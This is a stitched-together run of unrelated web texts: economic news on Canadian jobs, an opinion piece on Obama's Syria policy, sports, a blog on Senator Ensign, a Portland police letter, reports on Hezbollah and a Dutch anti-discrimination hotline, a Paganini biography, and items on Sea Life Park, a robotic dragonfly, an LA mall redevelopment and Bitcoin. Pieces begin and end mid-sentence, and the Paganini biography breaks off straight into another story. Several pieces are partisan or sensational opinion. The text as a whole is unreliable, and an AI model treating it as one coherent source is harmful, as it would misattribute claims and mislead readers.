“Overall, the economy looks to be grinding along at a pace just fast enough to absorb population growth and keep the unemployment rate pegged at around seven per cent for now,” said Douglas Porter, chief economist at BMO Capital Markets.
“That’s likely enough to keep the Bank of Canada on hold for the foreseeable future.”
The services-producing sector — including transportation and warehousing, as well as healthcare and social assistance, public administration — accounted for many of the new jobs. Not surprisingly, natural resources jobs declined in October amid ongoing low crude prices. There were also fewer workers in construction and agriculture.
Given Canada’s expanding population, hitting the 18.02-million job mark was not unexpected. The growth in hiring tends to rise when the country’s economy edges up. In September, by comparison, total employment was 17.98 million.
Also anticipated, the Oct. 19 federal election provided a temporary lift to the monthly employment data — collected between Oct. 11 and 17 — as the overall number of public administration jobs increased by 32,000. The advance polls were open from Oct. 9 to 12.
“The increase was seen across all provinces and mostly in temporary work, coinciding with activities related to the recent federal election,” the federal agency noted.
Meanwhile, U.S. employment growth has been steady — up by 271,000 last month, the largest rise since December 2014, the U.S. Labor Department said Friday, accompanied by a drop in the jobless rate to five per cent from 5.1 per cent in September.
“The very strong jobs report south of the border... is arguably the more important number, and suggests that rate hikes in the U.S. are not far away,” said economist Leslie Preston, at TD Economics.
The U.S. Fed could raise its long-standing near-zero rate in December if growth in the economy and jobs continues to improve.
gisfeld@nationalpost.com
Twitter.com/gisfeldPresident Barack Obama has long been under fire from the US national security elite and the media for failing to intervene aggressively against the Assad regime.
But the real strategic blunder was not that Barack Obama didn’t launch yet another war in Syria, but that he decided to go along with the ambitions of America's Sunni allies to create and arm a Syrian opposition army to overthrow the regime in the first place.
Now a former Obama administration official who is knowledgeable on the internal discussions on Syria policy, speaking to this writer on condition of anonymity, has shed new light on how and why that fateful decision was made.
The former official revealed that when Obama made the first move toward supporting the arming of Syrian opposition forces, the president failed to foresee the risk of a direct Iranian or Russian intervention on behalf of the Syrian regime in response to an externally armed opposition – because his advisors had failed to take this likelihood into account themselves.
The story of this policy failure begins after military resistance to the Assad regime began in spring and summer 2011.
In August 2011, national security officials began urging Obama to call on Assad to step down, according to the former official.
Obama did make a statement suggesting that Assad should step aside, but he made it clear privately that he had no intention of doing anything about it. “He viewed it as simply a suggestion, not a hard policy,” the ex-official said.
But soon after that, a bigger issue arose for the administration’s policy: how to respond to pressure from Turkey, Saudi Arabia and Qatar for a US commitment to help overthrow Assad.
In September 2011, the Saudis and Turks not only wanted the US to provide arms to the opposition. “They wanted the US to provide anti-aircraft missiles and anti-tank missiles,” recalled the ex-official.
Turkey even offered to send troops into Syria to overthrow Assad, but only if US and NATO agreed to create a “no-fly zone” to protect them.
But Obama refused to provide US arms to the Syrian rebels and also opposed the Sunni foes of Assad providing such heavy weapons. “He wasn’t willing to go along with anything except small arms,” said the former official.
Apparently to assuage the dissatisfaction of the Sunni allies, then-director of the CIA David Petraeus devised a plan, which Obama approved, to help move the small arms from Libyan government stocks in Benghazi to Turkey.
Confirming the 2014 story by Seymour Hersh, the ex-official recalled: “It was highly secret but officials involved in the Middle East learned of the programme by word of mouth.”
The combination of those two policy decisions committed Obama – albeit half-heartedly - to the armed overthrow of the Assad regime.
The former administration official confirmed the recollections of both former secretary of state Hillary Clinton and former Pentagon official Derek Chollet that Obama’s advisers believed Assad’s fall was inevitable.
Some of those advisers believed Assad lacked the “cunning and fortitude” to remain in power, as Chollet put it.
Underestimating Iran and Russia
More importantly, when Obama was making crucial Syria policy decisions in September 2011, no one on his national security team warned him that Iran had a very major national security interest in keeping the Assad regime in power that could draw the Iranians into the war, according to the former official.
Obama’s advisers assumed instead that neither Iran nor Russia would do more than offer token assistance to keep Assad in power, so there was no risk of an endless, bloody sectarian war.
“Both Hezbollah and Iran had made noises that they were displeased with Assad’s handling of the crisis, and [Hezbollah leader Hassan] Nasrallah even said publicly he should take a softer approach,” the ex-official recalled, “so it was believed Iran would not intervene militarily to save him.”
In fact, however, Iran regarded Syria as crucial to its ability to resupply Hezbollah, whose large arsenal of missiles was in turn a necessary element in Iran’s deterrent to an Israeli attack. “Syria had been Iran’s and Hezbollah’s security in depth,” the ex-official said, but Obama's advisers “didn’t have a clue” about Iran’s overriding national security interest in preventing Assad’s overthrow by the overwhelmingly Sunni opposition backed by a Sunni international coalition with US support.
That major error of omission became obvious as the war unfolded. After the city of Qusayr near the Lebanese border was taken over by the Free Syrian Army in July 2012, opposition forces in southern Syria were able to get military supplies from across the border in Lebanon. It became clear in the months that followed that al-Nusra Front forces were heavily involved in that front of the war.
Hezbollah strikes back
In May 2013, Hezbollah troops from the Bekaa Valley intervened in support of a regime counteroffensive to retake the city – obviously at Iranian urging.
That Iranian-Hezbollah intervention resulted in the biggest defeat of rebel forces of the war up to that time.
But instead of questioning the soundness of the original decision to cooperate with the Sunni coalition’s regime change strategy, Obama’s national security team doubled down on its bet.
Secretary of State John Kerry put strong pressure on Obama to use military force against the Assad regime.
That resulted in a public commitment by the Obama administration in June 2013 to provide military support to the opposition for the first time. The deepening commitment nearly led to a new US war against the Assad regime in September, after the chemical attack on the Damascus suburbs in August 2013.
The Obama administration even agreed to the Sunni states’ provision of anti-tank weapons to an armed opposition now openly dominated by al-Qaeda’s Nusra Front.
Escalating involvement
That culminated in a Nusra Front-led command’s conquest of Idlib province and the subsequent Russian intervention, which the administration’s national security team obviously had not anticipated either.
Obama and his advisers blundered on Syria in thinking that they were not getting into a high-risk war situation.
But there is a deeper level of explanation for the willingness of Obama and his advisers to go along with the inherent risk of another regime change policy – even if Obama was half-hearted about it at best and limited direct US involvement in it.
The administration was unwilling to be at cross-purposes with its Sunni allies, the former official recalled, because of the direct US military interests at stake in its alliances with those three states: the Saudis effectively controlled US access to the naval base in Bahrain, Turkey controlled the airbase at Incirlik, and Qatar controlled land and air bases that had become central to US military operations in the region.
What was a disastrous blunder in terms of the consequences for the Syrian people, therefore, was the only choice acceptable to the powerful national security institutions that constitute what has become the US permanent war state.
Their first concern was to ensure that existing military and intelligence arrangements and relationships were not jeopardised.
And Obama was not prepared to override that concern, despite his well-known skepticism about any arming of anti-Assad rebels in light of the blowback from America's support for the Afghan Mujahidin in the 1980s.
- Gareth Porter is an independent investigative journalist and winner of the 2012 Gellhorn Prize for journalism. He is the author of the newly published Manufactured Crisis: The Untold Story of the Iran Nuclear Scare.
The views expressed in this article belong to the author and do not necessarily reflect the editorial policy of Middle East Eye.
Photo: US President Barack Obama speaks during a press conference at the G20 summit in Hangzhou,China, 4 September, 2016 (AFP)
This article is available in French on Middle East Eye French edition."It reminds me of the really early years in Chicago," Brouwer told the Calgary Sun on Tuesday, referring to his time with the Chicago Blackhawks from 2006-11. "… The young bodies on [the Flames], the young kids, the way they play the game … with [Brian] Elliott in net, I feel we have an unbelievable goalie, with him and [Chad] Johnson. Our [defensemen] are absolutely phenomenal. We just have to make sure they have confidence to move the puck. The previous coaches have kind of hindered them a little bit.
Calgary Flames forward Troy Brouwer said his new team is similar to a former team that did great things.
"Then our forward group, young, lots of energy, lots of speed, lots of skill. It's going to be a fun group to play with."
Brouwer, 31, was part of the Blackhawks' 2010 Stanley Cup championship during his five seasons there. After stints with the Washington Capitals and St. Louis Blues, he signed a multiyear contract with the Flames on July 1.
During his time in Chicago, Brouwer was a complementary piece to a core that included forwards Jonathan Toews, Patrick Kane and Marian Hossa. Now that he's more experienced, he expects to have an increased role with the Flames.
That could include a slot at right wing on the Flames' top line with center Sean Monahan and left wing Johnny Gaudreau (who is an unsigned restricted free agent).
"They told me a bunch of different players, so it could be on the top line with Monahan and Gaudreau," Brouwer said. "It could be with [Sam] Bennett. Like any coach, I'm sure I'm going to move around the lineup a little bit until we find something that fits perfectly. All the options are good options for me."Saudi Arabia has called for Jewish settlers in the occupied West Bank and Jerusalem to be blacklisted by the United Nations, and condemned the Israeli government for aiding and abetting settler violence. The Saudi representative to the UN and other international organisations in Geneva, Faisal Bin Hassan Tarrad, told the UN Human Rights Council on Monday that his country condemns the Israeli settlers’ arson attack which killed a Palestinian family in the West Bank last month. He also condemned the desecration by extremist Israeli settlers of Al-Aqsa Mosque and its closure to Muslim worshippers.
According to Felesteen newspaper, the Saudi government is “disappointed” at the EU decision to effectively boycott Chapter VII of the UN Charter, which is related to punishing parties who undermine peace. Regular attempts to marginalise this chapter and omit it from the agenda of the UN Human Rights Council, Tarrad insisted, “Encourages Israel to continue its flagrant violation of international law and thus evade punishment.”
He warned of the “massive” consequences of the Israeli settlers’ attacks on Al-Aqsa Mosque, calling on the international community to put pressure on Israel and the settlers to stop their attacks on the Palestinians and Islamic holy sites. The Saudi representative added that they also need to respect international law and the principles of the peace process.We don’t know the life of Nevada Sen. John Ensign. We don’t know the specifics of why he separated from his wife Darlene, or how he decided to take up with a campaign staffer during the split, or why he’s coming forward about the affair now (blackmail, suggests Politico). It’s an unfortunate personal saga that’s being played out publicly in the media — AS IT SHOULD.
Because while most folks are entitled to some privacy in their marriages, Sen. Ensign voluntarily abandoned that right the moment he voted for a constitutional ban on same-sex marriage in June 2006 and followed it up two years later by violating his own union.
You see, Ensign is one of those folks who believes in the sanctity of traditional marriage … something he obviously felt A-okay about violating when he had an affair. In 2004, he published a release titled “ENSIGN DEFENDS SANCTITY OF MARRIAGE ON SENATE FLOOR,” where he “took to the floor of the United States Senate today to defend the sanctity of marriage and urge passage of the Federal Marriage Amendment Act.” He told fellow senators, “Marriage is the cornerstone on which our society was founded. For those who say that the Constitution is so sacred that we cannot or should not adopt the Federal Marriage Amendment, I would simply point out that marriage, and the sanctity of that institution, predates the American Constitution and the founding of our nation. Marriage, as a social institution, predates every other institution on which ordered society in America has relied. […] It is not right to mold marriage to fit the desires of a few, against the wishes of so many, and to ignore the important role of marriage.”
So while we feel for his wife and kids, we’re absolutely fine with seeing Ensign dragged through the mud on this.
If he uses his political clout and Senate vote to deny us the right of marriage that he, as a straight person, gets to so flippantly exercise, then he’s just as bad as a gay legislator voting against gay rights. (Need more reason to criticize Ensign? He voted against adding sexual orientation to hate crimes protections.)
Given Ensign’s proclivity for moral missteps, it’s no wonder he was against an ethics investigation into colleague Larry Craig — and yet he was all for Craig resigning. Some things hit too close to home, huh John?
Ensign, who had his sights potentially set on a 2012 GOP run for president, plans to keep his U.S. Senate seat. Hetero sex scandals aren’t as damaging, apparently.This is my submission to the Benders vs Bronies Reddit Challenge Art Contest. This contest is a friendly bout of internet punch-em-ups between the Benders and Bronies of the Reddit community. The challenge was to create some fanart with Snoo in it. This was the only part of the contest I felt I could contribute to because 1) I have a crappy PC and 2) I have no money.A week and two days ago, I naively thought I could do something really cool, like an animation. After a hard week and two days, I've learned something important:Never ever ever ever try to do a full animation project in one week.Joking aside, I had a lot of fun with this one. I really had very little experience with animation, so I went into this gearing up to learn a lot of things. I searched the Internet for multiple tutorials, but what helped most of all was to stare at Street Fighter II sprites and ape their style (Thank you, Spriter's Resource!).I originally planned to also animate a Sokka vs. Amon fight (stupid naive little me). I would then pit the champions against each other to fight for the trophy. Ended up just animating Toph and Azula. And yes, the moves are unbalanced, but I had a week. What did you want me to do?I did end up rushing this at the end. I lost two days because I had to go up north to San Jose for a family visit. Literally 50% of this was done in the last 24 hours. I had to cut some corners, like realizing that coloring in shading and lining was just using up too much time. I will be glad for sleep after I submit this.All in all, I'm really proud of what I was able to accomplish.What's next? Well, I hope to go back and refine this a bit more, maybe add a bit more in-betweeny animation to make it smoother, go back and recolor things, maybe even add that Sokka and Amon fight.What can you do to show your appreciation? Come and support my ongoing project, Legend of the Tea Master. This is a fun little MS Paint forum adventure/webcomic I'm doing using some of the animation that I'm learning as I go. It's a tale based in the Avatar universe filled with adventure, friends, and above all, tea! So go and sign up on the forums and join in on the fun!-----Avatar: The Last Airbender and Legend of Korra (c) NickelodeonSnoo (c) RedditThis animation is mine and cannot be used without my permission. Thank you.Portland Police Chief Mike Marshman, in a letter to the mayor, defended the bureau's response to dueling downtown protests June 4, saying officers needed to wear riot-control gear for protection as demonstrators hurled bricks, fireworks and balloons filled with urine, feces and unknown chemicals.
The chief sought to explain why officers used flash-bang grenades, why they cleared Chapman Park and why they corralled a group of protesters and bystanders and then photographed personal IDs.
The letter responded to specific concerns and questions Mayor Ted Wheeler raised after the protests.
Police wear riot-control uniforms and gear when it's "necessary for officer safety,'' the chief wrote, though he noted that police prefer to staff parades, marches and demonstrations with officers in their standard uniforms.
The bureau's Rapid Response Teams were strategically placed between Terry Schrunk Plaza, where a "Trump Free Speech'' rally assembled, and Chapman Square, where counter-protesters gathered, to keep the groups separated and forestall confrontations, Marshman said.
Portland police photo of objects seized from demonstrators during June 4 protests in downtown Portland.
Police were concerned about the potential for violence in the wake of the May 26 fatal stabbings aboard a MAX train that appeared to be motivated by racial or religious hatred, as well as recent "alt right" events in Portland, Berkeley and elsewhere, the chief said.
The mayor had asked federal authorities to revoke the permit for the free speech rally in the aftermath of the train attack that left two good Samaritans dead and another seriously injured. The three men intervened when they heard a man spewing slurs at two teenage girls, including one wearing a hijab. The U.S. General Services Administration, which oversees the plaza, declined, saying organizers had legally obtained the permit.
While Marshman said he's aware that full riot-control uniforms can be "perceived negatively by some members of the public,'' they were necessary in this case.
He sent the mayor a photo of one officer's bruise from a brick, suggesting his injuries would have been worse had he been in his standard patrol uniform.
Chief Mike Marshman sent this photo to the mayor showing an officer's bruise from a brick thrown at police during the June 4 demonstrations downtown. He said the officer's injury would have been more serious if he wasn't wearing the bureau's riot-control uniform.
The chief noted that some in the crowd in Chapman Square were launching large fireworks, smoke bombs and "gopher gassers,'' what he described as "small rodent poison gas devices.''
He said police would prefer not to use any crowd-control devices but did use flash-bang grenades to clear the park when they saw bricks, bottles, rocks, ball bearings, marbles, urine balloons, feces balloons, chemical balloons and small explosives thrown or slung at officers and the public using slingshots.
He acknowledged police photographed the identifications of people who police temporarily corralled at one point at Southwest Fourth and Morrison Street. The decision to detain the group came after consulting with the city attorney's office and the Multnomah County District Attorney's Office, the chief wrote.
They were part of a crowd that had left Chapman Square and started marching in the street. Police wanted to separate them from the free speech rally that they were protesting against, Marshman said.
"The decision to photograph identification was made to speed up the process. Writing down each person's information would have taken much longer,'' he wrote.
He said police were investigating disorderly conduct and more serious crimes from earlier violence in Chapman Square. Police uploaded photos from the IDs to a database for detectives to use. "Any photographs not used in a criminal investigation will be purged pursuant to PPB policy,'' he wrote.
Police arrested 14 people that day and seized knives, bricks, sticks and other weapons.
The U.S. Attorney's Office is reviewing why a man doing security for the free speech rally helped tackle and handcuff a black-clad protester.
Police confiscated shields and other items from demonstrators at dueling June 4 protests in downtown Portland, Police Chief Mike Marshman said in a letter to Mayor Ted Wheeler.
Marshman said the bureau would discourage members of the public -- including organizers of permitted events -- from physically assisting in arrests.
Yet he added in a footnote that Oregon law makes it an offense to "unreasonably refuse to assist a police officer in effecting an arrest or preventing the commission of a crime.''
Nonetheless, he wrote, the bureau "would not seek the assistance of members of the public in making arrests and in fact would strongly discourage members of the public – including organizers of permitted events – from physically assisting in an arrest.''
Portland's Independent Police Review Division announced earlier this month that it would conduct a policy review of the police response to the protests that day. The division, part of the city auditor's office, received about 10 complaints about the police response.
-- Maxine Bernstein
mbernstein@oregonian.com
503-221-8212
@maxoregonianAt least one member of Lebanon's Hezbollah group has been killed overnight in clashes with Syrian rebels in Lebanon's eastern border region.
Lebanese security sources reported the death on Sunday, saying that about 15 rebels had also been killed in the violence, east of Baalbek in the Bekaa Valley.
The conflict in Syria has been increasingly spilling over to its smaller neighbour, with deadly fighting shaking the northern Lebanese city of Tripoli, and rockets hitting the Bekaa Valley and Beirut's southern suburbs.
Al Jazeera's Mysa Khalaf, reporting from Tripoli, said that about 17 had been wounded in clashes in the Bab Tabbaneh neighbourhood, and that residents were trying to remove the wounded from the area.
Syrian rebels have said they will carry out attacks inside Lebanon in response to Hezbollah's support for President Bashar al-Assad's assault on Qusayr, a strategic town for rebel weapons supplies and fighters coming into Syria from Lebanon.
Al Jazeera's Rula Amin, reporting from Beirut, said there were reports that the latest clash started when Hezbollah fighters came across rebels setting up rocket launchers close to Baalbek.
"It is the first time we have seen a face-to-face clash between rebels and Hezbollah fighters inside Lebanon," our correspondent said.
"There have been rocket attacks on Hezbollah strongholds in that area before, and so it is not a surprising development that rebels are trying to target this town.
"It is significant that there has been a clash inside Lebanese territory as it shows how determined the Syrian rebels are to target Hezbollah strongholds. It also shows how vulnerable Lebanon has become that they were able to cross the border."
Meanwhile, the Syrian government has responded to calls from international aid organisations for civilians trapped in the flashpoint Syrian city of Qusayr to be evacuated, as rebel fighters faced a fresh assault.
Syrian state TV reported that the foreign minister has said the International Committee of the Red Cross (ICRC) will be allowed into Qusayr "as soon as military operations are over".
'Grave concern'
UN agencies and the ICRC appealed to both sides in the fighting on Saturday to let the civilians, including an estimated 1,500 wounded, leave Qusayr.
Britain circulated a draft declaration at the UN Security Council, voicing "grave concern about the situation in Qusayr".
Russia, however, blocked the draft because the UN had failed to speak out when Qusayr was seized by rebels more than a year ago.
The government’s military campaign on Qusayr started two weeks ago, in an attempt to regain control of the strategic city bordering Lebanon. It is believed that Hezbollah has sent an estimated 1,700 fighters to support the government's assault.
Syrian forces have recently captured the northern district of Arjun in Qusayr, leaving rebels little chance to escape.
Activists said that escape routes for civilians have become unsafe. They reported this week that a a convoy of civilians seeking to flee Qusayr was attacked by Syrian forces.
Ceasefire needed
Valerie Amos, UN emergency relief coordinator, and Navi Pillay, UN high commissioner for human rights, have said there is "an urgent need of immediate evacuation for emergency medical treatment".
But a humanitarian corridor could only be created if both sides agreed, Rupert Colville, Pillay's spokesperson, told Al Jazeera.
"There should be a ceasefire at least and they let the civilians and the wounded get out and also let some aid in as well. Civilians who stay behind will need food and water," he said.
The control of Qusayr is essential for the rebels as it is their principal transit point for weapons and fighters from across the border in Lebanon.
It is also strategic for the government because it is located on the road linking Damascus with the Mediterranean coast, its rear base."Paganini" redirects here. For the Italian printer and publisher, see Paganino Paganini. For other uses, see Paganini (disambiguation)
Niccolò (or Nicolò) Paganini ( Italian: [ni(k)koˈlɔ ppaɡaˈniːni] (); 27 October 1782 – 27 May 1840) was an Italian violinist, violist, guitarist, and composer. He was the most celebrated violin virtuoso of his time, and left his mark as one of the pillars of modern violin technique. His 24 Caprices for Solo Violin Op. 1 are among the best known of his compositions, and have served as an inspiration for many prominent composers.
Biography [ edit ]
Portrait of young Paganini
Childhood [ edit ]
Niccolò Paganini was born in Genoa, then capital of the Republic of Genoa, the third of the six children of Antonio and Teresa (née Bocciardo) Paganini. Paganini's father was an unsuccessful trader, but he managed to supplement his income through playing music on the mandolin. At the age of five, Paganini started learning the mandolin from his father, and moved to the violin by the age of seven. His musical talents were quickly recognized, earning him numerous scholarships for violin lessons. The young Paganini studied under various local violinists, including Giovanni Servetto and Giacomo Costa, but his progress quickly outpaced their abilities. Paganini and his father then traveled to Parma to seek further guidance from Alessandro Rolla. But upon listening to Paganini's playing, Rolla immediately referred him to his own teacher, Ferdinando Paer and, later, Paer's own teacher, Gasparo Ghiretti. Though Paganini did not stay long with Paer or Ghiretti, the two had considerable influence on his composition style.
Early career [ edit ]
The French invaded northern Italy in March 1796, and Genoa was not spared. The Paganinis sought refuge in their country property in Romairone, near Bolzaneto. It was in this period that Paganini is thought to have developed his relationship with the guitar.[1] He mastered the guitar, but preferred to play it in exclusively intimate, rather than public concerts.[2] He later described the guitar as his "constant companion" on his concert tours. By 1800, Paganini and his father traveled to Livorno, where Paganini played in concerts and his father resumed his maritime work. In 1801, the 18-year-old Paganini was appointed first violin of the Republic of Lucca, but a substantial portion of his income came from freelancing. His fame as a violinist was matched only by his reputation as a gambler and womanizer.
In 1805, Lucca was annexed by Napoleonic France, and the region was ceded to Napoleon's sister, Elisa Baciocchi. Paganini became a violinist for the Baciocchi court, while giving private lessons to Elisa's husband, Felice. In 1807, Baciocchi became the Grand Duchess of Tuscany and her court was transferred to Florence. Paganini was part of the entourage, but, towards the end of 1809, he left Baciocchi to resume his freelance career.
Travelling virtuoso [ edit ]
1831 bulletin advertising a performance of Paganini
For the next few years, Paganini returned to touring in the areas surrounding Parma and Genoa. Though he was very popular with the local audience, he was still not very well known in the rest of Europe. His first break came from an 1813 concert at La Scala in Milan. The concert was a great success. As a result, Paganini began to attract the attention of other prominent, though more conservative, musicians across Europe. His early encounters with Charles Philippe Lafont and Louis Spohr created intense rivalry. His concert activities, however, were still limited to Italy for the next few years.
In 1827, Pope Leo XII honoured Paganini with the Order of the Golden Spur.[3][4] His fame spread across Europe with a concert tour that started in Vienna in August 1828, stopping in every major European city in Germany, Poland, and Bohemia until February 1831 in Strasbourg. This was followed by tours in Paris and Britain. His technical ability and his willingness to display it received much critical acclaim. In addition to his own compositions, theme and variations being the most popular, Paganini also performed modified versions of works (primarily concertos) written by his early contemporaries, such as Rodolphe Kreutzer and Giovanni Battista Viotti.
Paganini's travels also brought him into contact with eminent guitar virtuosi of the day, including Ferdinando Carulli in Paris and Mauro Giuliani in Vienna.[5] But this experience did not inspire him to play public concerts with guitar, and even performances of his own guitar trios and quartets were private to the point of being behind closed doors.
Late career and health decline [ edit ]
Throughout his life, Paganini was no stranger to chronic illnesses. Although no definite medical proof exists, he was reputed to have been affected by Marfan syndrome[6][7] or Ehlers–Danlos syndrome.[8] In addition, his frequent concert schedule, as well as his extravagant lifestyle, took their toll on his health. He was diagnosed with syphilis as early as 1822, and his remedy, which included mercury and opium, came with serious physical and psychological side effects. In 1834, while still in Paris, he was treated for tuberculosis. Though his recovery was reasonably quick, after the illness his career was marred by frequent cancellations due to various health problems, from the common cold to depression, which lasted from days to months.
In September 1834, Paganini put an end to his |
pool was selected for major enhancement because it is one of the park’s most popular attractions and fits in with its educational mission. All animals featured in the touch pool are native to Hawaii waters and tide pools. The exhibit will be open during park hours with scheduled experiences led by Sea Life Park educators throughout the day.
“This fully redesigned exhibit provides visitors the chance to experience the depth and breadth of marine life surrounding our islands,” King said. “This past year the president of Parques Reunidos made his first visit to Hawaii. He recognized Hawaii’s great potential and said they are very committed to this park.”
Sea Life Park Hawaii Curator Jeff Pawloski said the touch pool exhibits were designed to give the park more flexibility.
“Our interactive displays are flexible. Each pool can be run as an open water system or a closed system like an aquarium. We can change them up,” Pawloski said. “We will be able to expose our visitors to many different animals found in Hawaii’s waters and tide pools.”
Guests to Sea Life Park Hawaii now have the chance to get face-to-fin with more of Hawaii’s native marine life.
Pawloski said the park will showcase different attributes of the animals that are collected locally or born at the park.
“We could have collector urchins and decorator crabs to show how they cover themselves,” he said. “We’re excited about all the possibilities.”
The one constant is that trained aquarists will be at each tide pool to help guests and animals safely interact and to bridge the knowledge gaps in conservation, Pawloski said.
“We are bringing the ocean to people. The closest most people ever get to these animals is snorkeling in less than 10 feet of water. You can’t easily find all of these animals in water that shallow or in some of Hawaii’s depleted tide pools,” he said.
Pawloski said many people want the ability to make a connection with Hawaii’s sea life.
“We show them how to do it respectfully and in a way that they will learn something about how to treat these animals if they ever get the chance to see them in a natural tide pool. Most people don’t realize that man has the greatest impact on the environment — even flipping over a rock can have grave consequences,” he said.The robotic dragonfly developed by German robotics company Festo. (Festo)
German robotics company Festo appears to have mastered the mechanics of the dragonfly, creating the BionicOpter — a 175-gram robotic dragonfly.
All four wings are independently controlled, giving the robotic insect the ability to accelerate while moving backward, forward, up or down. It can also hover and glide without beating its wings. The BionicOpter can be controlled using a smartphone, according to documentation from the company.
“This unique way of flying is made possible by lightweight construction and the integration of functions: components such as sensors, actuators and mechanical components, together with open- and closed-loop control systems, which are installed in a very tight space and matched accurately to one another,” said Heinrich Frontzek, Festo’s Corporate Communication and Future Concepts chief, via a release.
The company, based in Germany with operations worldwide, plans to debut the technology at the Hannover Messe trade show in April, reports Canadian Manufacturing.
(via Canadian Manufacturing)In a shocking move, the taxpayer-funded hotline said it would not pursue a criminal complaint over horrific messages from radical Islamists because the Koran says gay people can be killed. The disgraceful stance came to light when a member of the public complained about death threats posted to an online forum which called for homosexuals to be “burned, decapitated and slaughtered”. Dutch MPs today reacted with horror to the revelations, demanding an immediate inquiry into the remarks and calling for the hotline to be stripped of public funding.
GETTY A Dutch anti-discrimination hotline has said it is OK for Muslims to threaten gay people
According to Dutch media advisors from the anti-discrimination bureau MiND said that, while homophobic abuse was usually a crime, it was justifiable if you were Muslim due to laws on freedom of religious expression. They argued that the Koran says it is acceptable to kill people for being homosexual, and so death threats towards gay people from Muslims could not be discriminatory. In a jaw-dropping email explaining why they could not take up the complaint, they wrote: “The remarks must be seen in the context of religious beliefs in Islam, which juridically takes away the insulting character."
GETTY Dutch politician Geert Wilders in on trial for saying there are too many Moroccans in Holland
GETTY The revelations will further fuel the debate about free speech in the country
They concluded that the remarks were made in "the context of a public debate about how to interpret the Quran" and added that "some Muslims understand from the Quran that gays should be killed”. And they went on: “In the context of religious expression that exists in the Netherlands there is a large degree of freedom of expression. In addition, the expressions are used in the context of the public debate (how to interpret the Koran), which also removes the offending character." The death threats had been made in the comments section for an article about a Dutch-Moroccan gay society, which had been posted to an online platform for Holland’s large Moroccan community.
The revelation that they were so easily brushed aside by the anti-discrimination hotline will fuel an intense debate in the Netherlands over freedom of expression. Far-right politician Geert Wilders, whose party is expected to win next spring’s general election, is currently on trial for inciting racial hatred after telling a rally there were “too many Moroccans” in the Netherlands. And two right-wing MPs, Joram van Klaveren and Louis Bontes, have now announced their intention to bring up the incident in the Dutch parliament by asking questions of the Justice Minister.
Jihadi Brides from Britain Thu, September 22, 2016 A photo report on the British woman who left the UK to fly to Syria, and joined the Islamic State. Play slideshow Tim Stewart News Limited 1 of 10 Sally Jones, who calls herself Sakinah Hussain. She is married to British jihadist fighter in Syria Junaid Hussain. In 2013 she left the UK to join the Islamic State.One of the biggest eye sores (and embarrassments) in all of Downtown Los Angeles — the 1970s “shopping fortress” known as Macy’s Plaza — has a very bright future ahead of it. One of LA’s most respected developers, The Ratkovich Company, has successfully acquired the dated complex from Jamison Services, Inc for $241 million according to the LA Times. The purchase, which closed escrow last week, includes not only the retail portion (Macy’s, Express, Bath and Body Works, LA Fitness, etc.) but also the 23-story, 485-room Sheraton hotel and the 33-story 700 S Flower office tower totaling 2.4 million square feet. Ratkovich plans to spend $160 million to upgrade the entire complex with some very exciting changes that will dramatically alter the urban landscape of the Financial District.
Macy’s Plaza will be renamed “The Bloc” and will be redesigned by Johnson Fain Architects (based in Chinatown). Current plans call for the complete removal of the enclosed glass atrium that faces 7th Street, making it more outdoor than indoor, and allowing Ratkovich to include a third floor of retail space (there is currently an underground level). From an earlier DTLA Rising report from Dec 2012, Macy’s will be staying put with major multi-million dollar plans to upgrade the department store to a potential “flagship” store, including the possible addition of their Visit Macy’s USA tourist visitor center, which is only in 4 other US cities including New York, San Francisco, Chicago, and Philadelphia.
To address the center’s most flawed design characteristic, being insular and withdrawn from the urban fabric, the brick walls will be removed and the mall will essentially be inverted outward by punching out the walls (i.e., along Flower Street) and inserting new store fronts that engage the pedestrian realm along the sidewalks. Moving to this format would activate the streets with pedestrian activity and strengthen the urban connection between the Financial District and South Park.
The Bloc, which also includes the hotel and office tower, are planned for major upgrades as well. The Sheraton, which underwent a remodeling effort several years ago, will be getting further upgrades including a new swimming pool and hotel gym with a goal to reach a “4-star status.” The office tower, which is currently about 33% vacant, will be repositioned from an undesirable Class B office tower to a “high tech hub” with creative office space (i.e., removing dropped ceilings, exposing concrete floors, etc.) aimed at the growing entertainment, technology, and media companies in Los Angeles. In addition, a rooftop lounge will be added for office tenants to enjoy.
And perhaps the most exciting detail regarding this redevelopment effort by Ratkovich (for an urbanist and transit advocate like myself) is the plan to build a direct pedestrian connection between The Bloc and the very busy 7th/Metro subway station across the street. Since the underground portion of the mall right now is in alignment with the underground metro station, it is entirely possible to provide an easy connection between the two. In fact, the MTA purposefully designed the metro station with “knock out panels” along certain sections of the walls with the very intention that one day, a developer with an urban vision (unlike Jamison Services, Inc), would take advantage of it and allow transit riders to have direct access to the mall akin to what you would experience in great transit-oriented cities like New York or Tokyo.
Construction on The Bloc will take about 2 years starting in early 2014 and completing in late 2015.
For more info, visit The Bloc’s website.
Get DirectionsThe condition of millions of copper wires the Coalition will rely on to deliver its broadband policy is unknown, and it will take months to uncover how many are functional and how many are beyond use.
Telstra has never revealed how much it spends maintaining the network each year and its own descriptions of the life span range from three to 100 years.
Malcolm Turnbull was all smiles at the Faceboat campaign launch for Sailors with disABILITIES at Darling Point on Sunday. Credit:Dominic Lorrimer
The state of the customer access network, as it is known, directly affects the cost and speed of implementing the proposed fibre-to-the-node network because unusable sections of copper must be repaired or replaced with fibre.
Fault rates have increased in the past seven years from about 13 per cent in 2006-07 to 18 per cent, or 1 million faults, in 2011-12, according to figures published by the communications regulator.SUNNYVALE, California (Reuters) - Tucked away in an air conditioned data center in Silicon Valley is a hodgepodge of black boxes, circuit boards and cooling fans owned by 27-year-old Aaron Jackson-Wilde, a modern-day prospector looking for Bitcoins.
A chain of block erupters used for Bitcoin mining is pictured at the Plug and Play Tech Center in Sunnyvale, California October 28, 2013. REUTERS/Stephen Lam
Since discovering the digital currency a few months ago, Jackson-Wilde has paid about $2,000 for his “rigs,” which are powered by specialized computer chips. They are designed to help operate and maintain the Bitcoin network - and, in return, generate a small reward in a process known as “Bitcoin mining.”
A form of electronic money independent of traditional banking, Bitcoins started circulating in 2009 and have since become the most prominent of several fledgling digital currencies.
While they quickly gained a reputation for facilitating drug deals and money laundering, Bitcoins have of late garnered attention from investors, such as venture capital firm Andreessen Horowitz. The volume of transactions using Bitcoins today remains miniscule, but enthusiasts believe the peer-to-peer currency will play a major role in e-commerce and could eventually become as ubiquitous as email.
Bitcoin mining is based on a unique feature of the digital currency. Unlike traditional currencies, where a central bank decides how much money to print based on goals like controlling inflation, no central authority governs the supply of Bitcoins.
Instead, Bitcoin transactions are tracked by a network of computers that solve complex mathematical problems to validate transactions and prevent counterfeit. The system automatically generates new Bitcoins as the math problems are solved and rewards them to the computer operators.
